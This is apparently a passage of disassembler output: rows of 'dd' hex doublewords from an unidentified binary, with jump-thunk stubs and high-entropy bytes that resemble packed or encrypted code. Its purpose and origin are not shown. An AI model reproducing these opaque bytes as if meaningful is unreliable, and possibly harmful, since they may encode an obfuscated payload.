		dd 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 6	dup(0)
		dd 1501E900h, 0EA680000h, 0E9080029h, 0FFFA56E8h, 2AEA68h
		dd 56DEE908h, 0C868FFFAh, 0E908002Bh, 0FFFA56D4h, 2CDD68h
		dd 56CAE908h, 4768FFFAh, 0E908002Dh, 0FFFA56C0h, 2E1668h
		dd 56B6E908h, 0C768FFFAh, 0E908002Eh, 0FFFA56ACh, 2F5668h
		dd 56A2E908h, 1168FFFAh, 0E9080030h, 0FFFA5698h, 317868h
		dd 568EE908h, 5168FFFAh, 0E9080032h, 0FFFA5684h, 339268h
		dd 567AE908h, 9668FFFAh, 0E9080034h, 0FFFA5670h, 360B68h
		dd 5666E908h, 6168FFFAh, 0E9080037h, 0FFFA565Ch, 394E68h
		dd 5652E908h, 5E68FFFAh, 0E908003Ah, 0FFFA5648h, 0A4DAC452h
		dd 4D831BF7h, 0F32975A0h, 9FD5C946h, 497F1FF2h,	9A776015h
		dd 0F321CE04h, 48C875ABh, 0A0732056h, 0A1F9C8FEh, 0E6AB2285h
		dd 33EA5007h, 0A2326CA7h, 4BD6C84Dh, 84E97C22h,	78D90F8Fh
		dd 0A3BF4F11h, 7E0AE09h, 69B9449Dh, 139E0014h, 69D044EAh
		dd 7307E0ADh, 158986DBh, 2D34EE6Fh, 406EB4F5h, 4A93h, 92BC2400h
		dd 0F4A69263h, 41A24804h, 48881848h, 0F47F1FF3h, 0E3B125CBh
		dd 0FF07E116h, 51C116A6h, 0E814A74Dh, 7E0E681h,	49500A8Bh
		dd 406EF211h, 2E70A3F8h, 3BD57AA3h, 9AFD863h, 0DC28h, 95AED800h
		dd 0CCACD887h, 0A7A35A00h, 57A7326Ch, 0FC15B92Dh, 8C320FDEh
		dd 294532DFh, 0FFE709C6h, 0D4158988h, 2287127Bh, 0FDA171F1h
		dd 55E04972h, 0EB7B23F0h, 3DA8FAC1h, 0EC92E93Eh, 0E7BD3AAEh
		dd 50C3FFE6h, 2B80184Eh, 203AB4EAh, 0B8F9631Bh,	19FAA74Dh
		dd 48D3CB49h, 122BB61Fh, 3D59E977h, 7E0D39Fh, 4BACE23Bh
		dd 0CAD3113Eh, 56DF0216h, 0B23D61B1h, 74902089h, 0FDDBA31h
		dd 0E136C61Fh, 8B386E30h, 6638DC86h, 8B49B2DBh,	9998102Eh
		dd 6027C601h, 91000012h, 36E31985h, 0DF8CC2DCh,	85326836h
		dd 31DE148Ah, 5488BEE0h, 4559B89Fh, 0ECB2620Fh,	970709B6h
		dd 3F5FB461h, 0C6E23A09h, 7E6AC63h, 0A7742B91h,	8EF10D6Ah
		dd 0B4FFE683h, 0FBCF25Bh, 0B50A9A04h, 5B993F5Fh, 0CA96F3A4h
		dd 9C501E3Ah, 0F54E07E0h, 9BD73E6Ah, 60E107E0h,	0A7679FA6h
		dd 0F305406Eh, 96000000h, 0B9A967BCh, 92BB4658h, 0D0759E29h
		dd 0A8D15C42h, 0E0BE5502h, 2BC82650h, 0B57B610Bh, 0FA177C0Fh
		dd 1A090293h, 0F51EA9F5h, 94B27C7Bh, 69921D81h,	0B2079700h
		dd 8C120260h, 0E2339823h, 1AAD53BCh, 0E6B071EEh, 612CE7FFh
		dd 73C3B080h, 285EC7D3h, 48CA987Bh, 4962ED56h, 702EE440h
		dd 0C353BCE5h, 0BBE32E83h, 1AA5F916h, 39D74BF1h, 6507E0EDh
		dd 1475D60Ch, 277CBC4Ch, 960AB0EEh, 0FDDCB42h, 0E63F34Ch
		dd 0CD659B03h, 5D039B78h, 7F3D61B0h, 99981168h,	6011B0EBh
		dd 91000011h, 36E31985h, 0DF8CC2DCh, 85326836h,	31DE148Ah
		dd 5488BEE0h, 4559B89Fh, 0ECB2620Fh, 970709B6h,	3F5FB461h
		dd 0C6E23A09h, 7E6AD63h, 0A7742B91h, 8EF10D6Ah,	0B4FFE683h
		dd 3862F25Bh, 9090474Dh, 0D23FE424h, 721841CCh,	0EB8C8734h
		dd 0E71E6CCFh, 0D8419AFFh, 6CA7EBA2h, 0D142A732h, 0BFFF97CDh
		dd 555E1295h, 8CF8CFA4h, 0FFE6C929h, 514DC257h,	8E349DC6h
		dd 0DA6A34E1h, 88138B85h, 0C126B95Fh, 3D164C52h, 510F7A24h
		dd 0CFA3A5C1h, 0B60F07E0h, 0F4AF1579h, 378CFF6Ah, 872CB3DAh
		dd 92573E6Fh, 775CAF29h, 0A830549Fh, 78E8A102h,	4BDECCE8h
		dd 0A3FCF851h, 0D68AFF18h, 0ABA02A46h, 0CDF7FF6Eh, 87367EF3h
		dd 0EC35DB5Fh, 65AE0393h, 0BD560339h, 729A23E1h, 4A8569E9h
		dd 1082ABh, 0F7A76F00h,	0A0FE14C1h, 4658BD6Ah, 0F2AC6310h
		dd 9C020FBCh, 967D3266h, 40ED237Bh, 0E794CAD4h,	923F7529h
		dd 18E71D81h, 0AE41A4C0h, 96F07E6h, 326CA752h, 65FB8EA7h
		dd 0A277B9D5h, 25B07E0h, 61E6BCCh, 0E009940Ah, 67A7E777h
		dd 0E0A1E84Bh, 0FB50E07h, 0DAC4659Bh, 8D18710Fh, 0E6BFFA61h
		dd 426C04FFh, 21A1F75Eh, 0C3DB39F9h, 0A60F38h, 86BEC57Fh
		dd 243874FEh, 3Ah, 0CA96F3B5h, 0D31D1E3Ah, 6EC707E0h, 178789DEh
		dd 0D2086DE1h, 41D207E0h, 967A275Dh, 32D7D08h, 0D1ED75C0h
		dd 7E16F6Eh, 0F8C13B94h, 6EA74C49h, 0D67CA530h,	0FCEEFh
		dd 96F38800h, 31DE848Eh, 1479046Dh, 0CD369FFFh,	0AB92213Dh
		dd 0B71007E6h, 5D41D227h, 5997A27h, 3828617Ah, 0D1528CA8h
		dd 17700FE6h, 81E13287h, 6BA10A94h, 0BE4955BEh,	0D240E4A5h
		dd 0FBFD52CCh, 0EBB69740h, 74D6F282h, 5307E0D9h, 0C0C17D29h
		dd 0B95F690Bh, 5A591770h, 0B19E6478h, 0F6DD776h, 92840000h
		dd 0E929D60Ch, 43D27FB5h, 9778255Bh, 0ED24D107h, 92477BB1h
		dd 3668A9h, 0A7DDC153h,	528816FAh, 0FA306EA5h, 54B7D32Bh
		dd 8207E6AFh, 79E0651Ch, 8FFFE683h, 0BAD666FAh,	7E6AA88h
		dd 2565F54Eh, 0E6AAA609h, 0CD73CC07h, 6B33E035h, 138B8835h
		dd 461A6F88h, 0C9589AB6h, 257E0FE0h, 649F9267h,	0DB7AB596h
		dd 0F03h, 407628EEh, 0E91F7F93h, 8FC5D93Ch, 3B712DE2h
		dd 0E51B838Eh, 0FE13FCB1h, 57BD6AA0h, 0AC641147h, 40FBCF2h
		dd 3D95649Ah, 0E6B0BE21h, 0C77EE407h, 0A7326CA7h, 26292D57h
		dd 49CE316Ch, 2049D4CAh, 77B73DB7h, 0E23F8EFAh,	1A848F3Ch
		dd 6620918Fh, 7540275Fh, 59B90E38h, 0EB91BA45h,	8E80Ah
		dd 0AF65BA00h, 0AE536BDEh, 87F00F9Ch, 67BC2AE1h, 426BF6A8h
		dd 124E3B9Ch, 0E6024282h, 0FFE68383h, 5DB358B1h, 0E78DB641h
		dd 0E6AA4E73h, 8F1F7807h, 8FC5D93Ah, 0E26D31E2h, 0E6AA4FB6h
		dd 246507h, 0F2138D11h,	9A9035F7h, 0ABEB7BE4h, 1D2BB56h
		dd 9A6844BEh, 9FC853BCh, 0E08618FAh, 0E0B22A6Ch, 1BF180Fh
		dd 9664A806h, 346B0A45h, 0BD00000Eh, 620F4559h,	0BB8EEB0h
		dd 0B15E940Ah, 5D0A405Eh, 80B4EAB4h, 712DE4CBh,	18868E3Bh
		dd 0C3DB35E2h, 6B33E08Dh, 0F20E6635h, 7E6B18Fh,	0A7984FB5h
		dd 42A7326Ch, 0DD42CDD1h, 78DD6836h, 177C0797h,	0CF08A1FDh
		dd 0BE2F6D15h, 8BC5FD04h, 26633874h, 0F4000008h, 0E68379E0h
		dd 0FC1858FFh, 0FFE68399h, 67C86EC7h, 92AE3E22h, 7E6AAADh
		dd 0AEEE7ED7h, 0A9EF526Eh, 5EB107E6h, 1A6FF40h,	0DA038E10h
		dd 128C8734h, 0BAE42FDCh, 623CD52Ah, 7508AED7h,	0A3332D5Ch
		dd 7D193A79h, 0D57BE827h, 0DF213Dh, 0AA030FE1h,	64E605ECh
		dd 4CEB2696h, 0D83h, 0C0F6A86Eh, 699FFF13h, 0F4559BCh
		dd 0BBF1AD62h, 659B030Eh, 7E937C31h, 0D73DEA20h, 2CE491C7h
		dd 848F3C72h, 0BD15E41Ah, 0E6B13EA1h, 47FE6407h, 0F0AE67BCh
		dd 28769D4Ah, 87DB389Dh, 618A1589h, 0FC1368F8h,	48EE17A2h
		dd 8C46B7B5h, 748B4D85h, 773EB38h, 0F37C0000h, 1E3ACA96h
		dd 7E6AB4Eh, 1A6FFF58h,	0C26FA5F9h, 72C24D51h, 5ABF31Dh
		dd 0E6AA2A91h, 0DB494007h, 6DFD6638h, 0E0C90F51h, 1CDA330Fh
		dd 96649F4Fh, 0F472114Ch, 0FD00000Ch, 0A24F8519h, 4BF82E70h
		dd 0F19ED4CAh, 9D4A801Eh, 0C0F42A74h, 0B1ED240Bh, 5846CE7Bh
		dd 39B7522h, 0ABF320CDh, 324EA675h, 7E6B2CFh, 0A7D88FF5h
		dd 42A7326Ch, 4442CDD1h, 0DA1219D3h, 7838748Ah,	6F5h, 837EE009h
		dd 1555FFE6h, 0E68396F9h, 0BD63BCFFh, 0A3332D5Ch, 0E6AA9487h
		dd 0A6C24207h, 7E6AA43h, 0A1731871h, 0C40494FDh, 3664F39Ah
		dd 1CC2476Eh, 0C4FAA46Fh, 633BD72Ch, 5C09AFD8h,	0AE11D6B7h
		dd 0F41EA054h, 9FBBFB8Bh, 7E7183Ch, 6581116Ah, 7E71802h
		dd 9E31D730h, 0CC5C0485h, 0E144B6B0h
		dd 0B9A20C0Fh, 3215FC1Dh, 67420069h, 6896640Fh,	0C398E2Dh
		dd 5EB80000h, 0B55D0A40h, 0F06B3E9h, 63AC598Fh,	0B958053Bh
		dd 0C67BAFE5h, 346A34DDh, 0DB118D87h, 86BCE22Eh, 2E643AD9h
		dd 88EB075Fh, 0AE07E6B3h, 6CA79148h, 0D142A732h, 0DE2642CDh
		dd 70158989h, 0D758FEA0h, 1AF94E1Dh, 0E231DE84h, 7EB686BCh
		dd 1C38748Fh, 180h, 326CA7ADh, 0CDD142A7h, 0D533697h, 0ADC7617Dh
		dd 628C07E0h, 582CE9E9h, 0BD06AC64h, 7EE1FD3Dh,	0A407E15Dh
		dd 5D7CDF4Bh, 51AA07E1h, 0FC1858E8h, 7E15D99h, 0D1578E8Eh
		dd 0D5167CC2h, 613DD77Ch, 7407ADD6h, 0E175E148h, 0B06AEB07h
		dd 6F7E71A9h, 330F40h, 0BCA00000h, 65F0AE67h, 5435963Ch
		dd 92607C0Ch, 9007E09Bh, 0F87DA737h, 9D0110A7h,	0FF22AB23h
		dd 339AC659h, 3D07E11Ch, 0C3FB02BCh, 61406F28h,	0EAh, 326CA7F2h
		dd 110257A7h, 0D73AE78Dh, 3CD73CC7h, 927DD262h,	0B258810Ch
		dd 4559BA1Fh, 0AF2E9B0Fh, 0BF54FFE6h, 1BFA4FDFh, 8CA8F883h
		dd 0FFE6AE29h, 0EF95FE57h, 0BDD919B1h, 0FFE6AE5Ah, 28892F88h
		dd 536FFF61h, 7E38D7Dh,	80C050A9h, 0E3770164h, 5747CB07h
		dd 7B46AC16h, 0EFB39B89h, 848E086h, 0B5405EB3h,	0D839E68Ch
		dd 0AD20839Fh, 0DBF707E2h, 7E2AD78h, 0AB04459Eh, 0B25F0C42h
		dd 8D692EECh, 0F4A9E62h, 0AD270h, 0A7F71F00h, 504EC471h
		dd 0F6A86D1Ah, 0A2FC13C0h, 4C52BF6Ch, 462DE216h, 0F09DD3CBh
		dd 97447A24h, 42EF2579h, 0C897CDD1h, 0B3F15470h, 0B91F07E6h
		dd 0D6AA702h, 0E6838EF1h, 0F41FB4FFh, 8DF61FAAh, 156EE24h
		dd 0E5486413h, 0BFFE682h, 0F6A349B2h, 0B34B811Dh, 7CD9B45Eh
		dd 9275BF48h, 0ACD560C9h, 6CA74F06h, 0D142A732h, 0AAB097CDh
		dd 49000004h, 3ACA96F3h, 0E0A4081Eh, 0B23D9607h, 0E0A31F86h
		dd 51912907h, 0E0A3D235h, 25799C07h, 2CE68BE4h,	18BEE772h
		dd 9ED6DD97h, 3C406EAFh, 1D3h, 7292BCCDh, 807B555h, 0E141B55Bh
		dd 0EDFFE701h, 1834C49Ch, 7E7292Bh, 7BD060B9h, 23D00698h
		dd 0A23AEF0h, 3551E17Fh, 0FE1093Bh, 0B9904EA7h,	0A29664D2h
		dd 9F9C867h, 1EF80000h,	759D4A80h, 0CF46F329h, 23EC99CFh
		dd 7998457Bh, 6BBEF25h,	74AAF41Dh, 1B514DC7h, 0C6FCA26Eh
		dd 6EA4FA19h, 0C82B479Fh, 0EE07E6B5h, 6CA7D188h, 257A732h
		dd 0DC05900Eh, 148A8936h, 7EE42F84h, 59820D91h,	9BB74AF0h
		dd 47CCB06Ah, 1DA8F61Bh, 85558BF4h, 38748F4Dh, 13AEBh
		dd 6CA77C00h, 0D142A732h, 29E83DCDh, 1BC1EA75h,	530D7CDDh
		dd 0AE0DA7C3h, 60B907E0h, 0AD42A9D5h, 0B44C07E0h, 48EEB05Fh
		dd 0E93E0DC7h, 0BFE8732Bh, 0E6F1A345h, 4BF1DC9Dh, 6EDE437Bh
		dd 45E140h, 3C910000h, 123BC6D8h, 96F3B56Ch, 0DEFA3ACAh
		dd 0FFE6837Bh, 8DCED045h, 0DAF68E34h, 7E09C0Ch,	0E636C11Ah
		dd 507C2BCh, 902091CCh,	0E08B1174h, 40E63F07h, 0E08B65CCh
		dd 34EE6F07h, 6E96F52Dh, 969340h, 0A7240000h, 42A7326Ch
		dd 0FF3FCFCFh, 0E68380E3h, 0D83B57FFh, 0FEFFE683h, 650B64A5h
		dd 0BCA66DD2h, 52DD4658h, 427826EDh, 0E6D671CEh, 0B2EC27FFh
		dd 4FA4E47Ch, 2A53DEC0h, 0E6D65BBEh, 8A3089FFh,	70006029h
		dd 0E3B57E54h, 0A3338C07h, 0A5DBC34Eh, 0C78519F8h, 9E622B7Ch
		dd 0B8F594CFh, 39000008h, 0DE8BC1DDh, 87346A34h, 2DDA108Eh
		dd 0D986BCE2h, 0FC306638h, 0EDB16047h, 940A0AB7h, 3F5FB15Eh
		dd 0E7B75C09h, 6E8AE2B1h, 7E6B60Bh, 0A71CD339h,	51FE346Ah
		dd 0EFA6DCC2h, 0A2326CA7h, 32D8C64Dh, 0AE254F9Fh, 92AFF1CAh
		dd 0EC5549C7h, 247A9946h, 2A707EEh, 0F3A00000h,	1E3ACA96h
		dd 7E6AB8Bh, 4170AF19h,	0D30B7FB3h, 3A8FDF6Ah, 0D439C4DAh
		dd 50F65F3Fh, 0E70475DCh, 44FE7F07h, 867E4B75h,	6DFC19C1h
		dd 1BFF7C7h, 51A64075h,	2B73A0C2h, 680E37C2h, 23787h, 80E01800h
		dd 57FFE683h, 8398FB17h, 536FFFE6h, 0FFE682F0h,	237CBD16h
		dd 0CC6D1C7Dh, 0E6834DB0h, 0B11A73FFh, 0AB6A0521h, 0BF1807E6h
		dd 6539DA2Fh, 0FA6D972Fh, 70183DA0h, 0C4C5705Bh, 0D76E834Ah
		dd 0F8F8431h, 1B1E6B84h, 25A6E2F1h, 63CF4B7Bh, 7E74400h
		dd 0D464CD26h, 0E170BEB8h, 0DCB240Fh, 96644A28h, 0B431D00Bh
		dd 3D000007h, 0E28FC5D9h, 8B386E30h, 31DE148Ah,	0DD8AC0DEh
		dd 346A34h, 0F1AD644Bh,	98060EBBh, 435BB562h, 0EBB3600Dh
		dd 728EE6B5h, 7E6B70Fh,	0BC18CF35h, 82FD607Ch, 0CA23FFE6h
		dd 29C7724h, 9D011277h,	0BC5F612h, 6F8BEC27h, 0FFE6830Ch
		dd 4278E13Ah, 748F3A72h, 172D838h, 5E880000h, 3F5B252Eh
		dd 0FFE61EDCh, 0D637B10Ah, 0CD842A66h, 0EF0B6CA7h, 0FFE6838Ch
		dd 0F9E761BAh, 0E4FD3CDFh, 0F85DE851h, 9EF3831Bh, 739C2777h
		dd 5B2E8FCDh, 784B7505h, 0F8ABB36h, 84A038DEh, 7E132EAh
		dd 88B43F98h, 7E13221h,	0D33E932Bh, 0EAA425CBh,	1949C61Bh
		dd 0F11AA5F9h, 0DA12E288h, 78406F39h, 65h, 2EA8FE28h, 4B7933EBh
		dd 234CD7C7h, 0EA240BAh, 76B222E5h, 96F319D0h, 0A5FA3ACAh
		dd 8CEF0B6Ch, 0BAFFE683h, 0DE52F861h, 7E09C10h,	0FB25B50Eh
		dd 93AF9882h, 7E09130h,	5883FD56h, 0FCA270B2h, 0A5AED93h
		dd 0B8435BB5h, 80E3FF8Fh, 0A607E0ABh, 0CC33A74Dh, 0D607E0ABh
		dd 5C949B55h, 0FA406EB7h, 9Ah, 607CBC8Bh, 0FFE682FDh, 7724CA23h
		dd 534BC69Ch, 17FA5FEAh, 7C97FC87h, 0E1329722h,	0C61387BDh
		dd 91FFE6FDh, 0FDD23551h, 0A700FFE6h, 0DFBF5401h, 1F4148A9h
		dd 0DC9D738Fh, 70C907E3h, 18868BE0h, 0C2DC35E2h, 62022B04h
		dd 1EBDF89Eh, 63Fh, 43A64B2h, 0ADE3BB57h, 53891500h, 0FF3569A6h
		dd 0A9DFBF52h, 3AD7C075h, 93812E64h, 0E828D50Bh, 40D380B6h
		dd 159285Eh, 0E6B982E5h, 934AB007h, 0FE346AA7h,	5E783C66h
		dd 0B65389BBh, 0E74C379Ah, 9B045DFFh, 0D3CB48F5h, 6CA7E69Dh
		dd 0D142A732h, 2EB097CDh, 49000000h, 0A7326CA7h, 42CDD142h
		dd 12F6B0E9h, 0CF679D01h, 797C4CA5h, 0E774FA5Dh, 55CF28FFh
		dd 382084DDh, 3B9A7BE5h, 0F8DF85EEh, 4Dh, 0B6CA791h, 0E6838CEFh
		dd 0EA25BAFFh, 69A64BB4h, 0E73CCC35h, 3CCF7529h, 610EC2ECh
		dd 0B2CB751h, 268BF165h, 0C053FFE7h, 0C8316DA2h, 523BD83Dh
		dd 0D7DEB89Bh, 37C22B47h, 50F8B2F3h, 0BDA15BDCh, 7A124856h
		dd 0F2F9AF50h, 4EF4D4A0h, 326CA797h, 0F0257A7h,	35DB048Fh
		dd 829AB5D4h, 0FB26C5E9h, 6581117Ah, 7E71BD6h, 0DB1BAB04h
		dd 86118D86h, 0D9B71A36h, 84DD07E6h, 4BC8751Bh,	0B2DD6F42h
		dd 0CD362DE2h, 7529EA97h, 0A8B8D1EAh, 4EC2FC18h, 0FC510FE7h
		dd 18117518h, 619B0D54h, 11D6DF8h, 0FFE6949Eh, 5C026BC4h
		dd 0D52ABA13h, 7D2A603Eh, 647D0896h, 8FAB3B25h,	7E0BD2Dh
		dd 514DC459h, 0AD3866ACh, 0C45D1B84h, 479E649Fh, 4E96D0Ch
		dd 0E080000h, 65AD5A90h, 0BF560339h, 13FCA9DFh,	69A8558Bh
		dd 16CBFF35h, 84BAE42Dh, 2B613DD7h, 0D60C927Eh,	7EB4EA29h
		dd 0D83B57AFh, 0FE07E6BAh, 6CA7E198h, 4662A232h, 0FFE682E3h
		dd 8343A6C2h, 1871FFE6h, 0D83B57D7h, 0FEFFE683h, 58963CA5h
		dd 0AB3668ABh, 46D1CD46h, 5B3FF92Ah, 0E0B0E6B8h, 38748FA8h
		dd 0DF254F8Fh, 4A5C2277h, 42E144B0h, 0B60FFFE6h, 4D2F10h
		dd 9FDF0000h, 0E6432083h, 47ED46FFh, 0CA96F390h, 6EA5FA3Ah
		dd 15168A30h, 0BF07E0D3h, 8F81D666h, 0D269CCE8h
		dd 3E9707E0h, 0BB247A99h, 0D2AC1185h, 9D7607E0h, 0C6514DC5h
		dd 51FE349Dh, 0B554DFBFh, 42Fh,	0AE112D6Dh, 0D407E0D2h
		dd 0A71ED57Bh, 57A7326Ch, 0FFD4BC2Dh, 0EA90573Ch, 38C8D63Dh
		dd 5079DCF8h, 4EA7FFE7h, 80096AA8h, 9A3450E0h, 4807E17Bh
		dd 0EA1464EFh, 4CED30AAh, 86FAA0ECh, 7E0E51Fh, 0EC7727E9h
		dd 88138B87h, 0D9813B6Ch, 6A39F374h, 0FBA0FE15h, 0D6FF8A14h
		dd 0ED286030h, 27C6406Eh, 57000000h, 3ACA96F3h,	0E9742AE5h
		dd 66821AC0h, 7E09B98h,	0B6E26DC6h, 7E09B4Fh, 171ED859h
		dd 406EA6DFh, 0E37Dh, 6CA70E00h, 0CF42A732h, 83298CA8h
		dd 0FE57FFE6h, 6EA50A95h, 0C64BA030h, 0D3B690C7h, 46AF4B5Bh
		dd 59EC92BBh, 4AADC909h, 78FFE744h, 47CC791Fh, 30AD2157h
		dd 3FFFE749h, 0D0728D15h, 3B57E12Ah, 0FFE6DAD8h, 963CA5FEh
		dd 3E742AE9h, 8B47CA6h,	0CA0B8F7h, 6BF6A867h, 24EF9C42h
		dd 0B3D6EF7Ah, 1B011DADh, 4707E0B0h, 3257B8EEh,	0A6829E2Eh
		dd 0C00FDD67h, 9282D767h, 79CE660Ch, 839FDF98h,	0FFED6320h
		dd 1E81ED46h, 0F5FFED63h, 0ED6376D9h, 2439CFFh,	5BB040A9h
		dd 240E6B8h, 24E2BC55h,	99984727h, 0FC2AC904h, 0F5000002h
		dd 9A477D21h, 43F02678h, 0E996CCD2h, 95427826h,	0B8EC227Ch
		dd 0A9F51C03h, 504EC673h, 0FBA36D1Ah, 0A3FB18C5h, 2A469E6Dh
		dd 7E6BCC7h, 0A7D087EDh, 51FE346Ah, 0EFA6DCC2h,	0EB277CBCh
		dd 93FF28B3h, 0FFE68330h, 0F657FD56h, 278AA693h, 4DFFE683h
		dd 0E54864F4h, 0BFFE682h, 9DB949B2h, 7E09BCFh, 97E772CBh
		dd 1EDBE6Dh, 0E48AF836h, 0E0F10970h, 0D8921307h, 6EFD99D1h
		dd 0E73740h, 0BCC80000h, 50F6A867h, 0A32E70A3h,	3BCBD33Eh
		dd 0DA382AE6h, 0A71039C4h, 0C5426E01h, 0BBFFE688h, 76B64658h
		dd 0FA9BB74Ch, 44B02D5Ch, 0FFE725E1h, 0D210B60Fh, 20B0EE25h
		dd 0F71A48CBh, 5983EA7h, 33C39DECh, 8D72C9F3h, 575403B5h
		dd 63573DB1h, 2A8307E1h, 59F693F4h, 0F30E1DCBh,	4EDE4721h
		dd 0DDFAF732h, 0E474CD0Fh, 31E0828Fh, 977DE26Dh, 0EA537C07h
		dd 5EB34B81h, 245EE9B5h, 1FEE8BABh, 640A7331h, 86445AB7h
		dd 9998008Bh, 0EC82215Ch, 5000001h, 0AA578D11h,	53003668h
		dd 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch, 0B9E52C13h, 603ED683h
		dd 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh, 7E6BDD7h, 0A7E097FDh
		dd 0C25B236Ah, 7F482B9Eh, 0DF318616h, 44CF34BFh, 0D4BF15Ah
		dd 3CDAB360h, 31EB7FF9h, 48F0F03h, 0D30972DBh, 326CA71Ch
		dd 0E0257A7h, 36DC0590h, 0DE148A89h, 2CBCE231h,	0BB603ED7h
		dd 93BC4757h, 48415AEDh, 526C8818h, 7007E099h, 0E0328717h
		dd 99187B97h, 0E53E07E0h, 22C8F17Ch, 1AD4FD8Fh,	31C1DD36h
		dd 0EB2A38DCh, 96FF28B3h, 326CA60Bh, 84E523C9h,	8BCB5B05h
		dd 0E0990C6Fh, 3BE13A07h, 0AE9187A3h, 0A83D0FDAh, 818F346Ah
		dd 0E424B41Dh, 0E68665C8h, 8C328BFFh, 0E37F94F9h, 0B8E16C32h
		dd 0A56ABF4Fh, 0DF4856BDh, 0FD4DA639h, 0A6316DA8h, 86D73A56h
		dd 0A4FDFFE6h, 5A14953Bh, 999C7C2h, 864AADC9h, 1F78FFE6h
		dd 6006987Ah, 9BB6ACC8h, 0CB2407E0h, 732BE895h,	0D58D83E8h
		dd 0AAD35E40h, 0FB24B641h, 0F2327241h, 0E09973D6h, 0DC48A107h
		dd 7E09979h, 9FFF12A7h,	0DD82EB14h, 14C16737h, 8699FFFh
		dd 671A381h, 0E09987EAh, 0EB54AD07h, 0BCD6F282h, 9B0FDAAFh
		dd 83DC3F5Bh, 0B10AFFE6h, 2642C20Bh, 0FFE683C3h, 832386A2h
		dd 0F851FFE6h, 65F55EB7h, 0F69C0210h, 8915FE63h, 89436CFEh
		dd 85A198F1h, 0FFE68322h, 0FE8EF750h, 0E099C8E2h, 0C949DE07h
		dd 0B9E530D5h, 0D0B91A50h, 0A6E40090h, 940FE0C0h, 0C84BB03Bh
		dd 9E29759Ah, 0B4CF324Eh, 9CF50FE0h, 1C828E33h,	43D07DB3h
		dd 0B0A4D05Bh, 0C6673581h, 9EEF2176h, 6C97CB54h, 0CC57C013h
		dd 94F713A3h, 0C258950Ch, 8842C369h, 0F92F6FA4h, 4CD7C74Ch
		dd 0EB7628E7h, 92763059h, 3AE71D81h, 9B3AC5D9h,	3, 0A75CBB34h
		dd 3FA42F6Fh, 0DA3FCAD4h, 78DD6836h, 1277029Ch,	0AF149FFFh
		dd 4CB13C62h, 0EB50DBC3h, 84E9742Ah, 5285108Eh,	8904EC83h
		dd 0BB532424h, 4, 4245C01h, 0EAC685Bh, 1C890000h, 5D1F6824h
		dd 2C890000h, 0ABBD5524h, 55080028h, 44240481h,	5B4D7B61h
		dd 6144EB81h, 545D4D7Bh, 83242C8Bh, 535304C4h, 0FC73E3BBh
		dd 245C0107h, 458F5B04h, 86D8108h, 7FC73E3h, 52242C8Bh
		dd 0C281E289h, 4, 4C281h, 14870000h, 1C8B5C24h,	0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 0FA41FFE9h, 9864F8FFh
		dd 0CBEA6513h, 1EF8BCF6h, 0B80CC76Fh, 8003C6Fh,	0E0FFC503h
		dd 4096EED1h, 3DC83935h, 19DA75CDh, 38EE34B4h, 0F6569BCh
		dd 5DD75BB6h, 0CFE1B80h, 37A5D26Bh, 74FF29B3h, 30D3DAA8h
		dd 347CEFDEh, 411A9784h, 7B8B0045h, 5B3450B8h, 5C237716h
		dd 5E8h, 83157B00h, 8B0FB31Fh, 5, 0D3F38166h, 81F55A50h
		dd 74ACC2h, 0A7F18000h,	1E4D6FBFh, 93F78157h, 0F571E51h
		dd 328BC6B7h, 10E9h, 0FA481C00h, 0A382257Ah, 95E2B26Fh
		dd 5BCD9275h, 0DAEE81D4h, 0F90DC170h, 40C7EE81h, 0EE8164CDh
		dd 2606DFF1h, 5BFEB157h, 8FDF8B56h, 0C3BF0F02h,	473EEA81h
		dd 53B52125h, 473AC281h, 66602125h, 0FD6E5BEh, 587h, 0D7816600h
		dd 4F61B13Fh, 23850Fh, 0EE90000h, 1000000h, 0A64C2711h
		dd 187A0FBEh, 0FA5A1D27h, 23E974h, 0FB800000h, 494FBBDBh
		dd 0E80F7CA3h, 0E9CB8AB2h, 0FFFFFF7Ah, 0F93C4667h, 0BA0E072Eh
		dd 3EB4B7E8h, 52D0003Eh, 2DE9B3h, 0D0660000h, 36A3h, 9 dup(0)
		dd 0E9000000h, 4DBh, 3C722CEAh,	0E51B838Fh, 8BC1DD38h
		dd 376D31DEh, 0E117878Ah, 20FF8ADh, 5BB9669Ch, 0B0600D43h
		dd 80BB8EEh, 39916096h,	0E6C1BA1Dh, 0CB82E807h,	0A7326CA7h
		dd 99CFCF42h, 0EC7727ECh, 3BD68C87h, 6C88D863h,	0FFE68309h
		dd 0C75DE37h, 0A8F61C81h, 0D18BC41Dh, 0D43C26EDh, 0BB1E3ACAh
		dd 0E9FFE683h, 44F12790h, 7531C1CCh, 2CA7D874h,	30E08DC3h
		dd 967EE36Eh, 474E7808h, 2A618AA8h, 0EA7C0FB5h,	0ED2307C1h
		dd 230B6E8Ah, 0CEEAFFE7h, 0FFE7236Bh, 0A6FF4099h, 1A6F073Dh
		dd 0F51EA9F5h, 2D71A24Fh, 231076A2h, 0D041FFE7h, 2ED70F16h
		dd 50753875h, 6000000h,	0A7326CA7h, 0E683167Bh,	18D243FFh
		dd 748ED911h, 0D7738h, 0FD270000h, 41252AE2h, 1FF095A7h
		dd 0A722D97Fh, 6737226Bh, 0A1BB67Ah, 61B116A1h,	0D62B23Dh
		dd 45F29806h, 2E91ADCAh, 54FFE715h, 0AE0792FBh,	3BD7BB75h
		dd 93802D63h, 0A71ED50Bh, 44A9346Ah, 2945D0CEh,	0B75A3EF8h
		dd 8CE849D6h, 0A91237BEh, 4E50C419h, 56BD6AA8h,	31A20521h
		dd 77D0FFE7h, 0F71E830Eh, 31016480h, 46CBFFE7h,	55BE1758h
		dd 66985C5h, 2CFFE731h,	759A2DD3h, 0EB333AF4h, 89387536h
		dd 7Bh,	346AA71Ah, 11127AA4h, 3090DC55h, 7DA7F78Ah, 420A89C7h
		dd 43F096A6h, 0E841CCD2h, 11F5AFh, 5CB90E9Eh, 0E88EB742h
		dd 8A14FDAAh, 29759AFFh, 3EF8799Eh, 74A4EF37h, 9181D638h
		dd 5686670Dh, 36000000h, 25CDE20Ch, 6B1181BDh, 346AA7B4h
		dd 0ABCC44A9h, 0E6832C8Fh, 4EC55AFFh, 339CC550h, 0BAFB3FCAh
		dd 37DC3100h, 0DB3DC67h, 0D0DCB160h, 0E18613EDh, 0C42D719Eh
		dd 0A76E255Bh, 7CA8336Bh, 0FFE68316h, 151CD647h, 38748EDDh
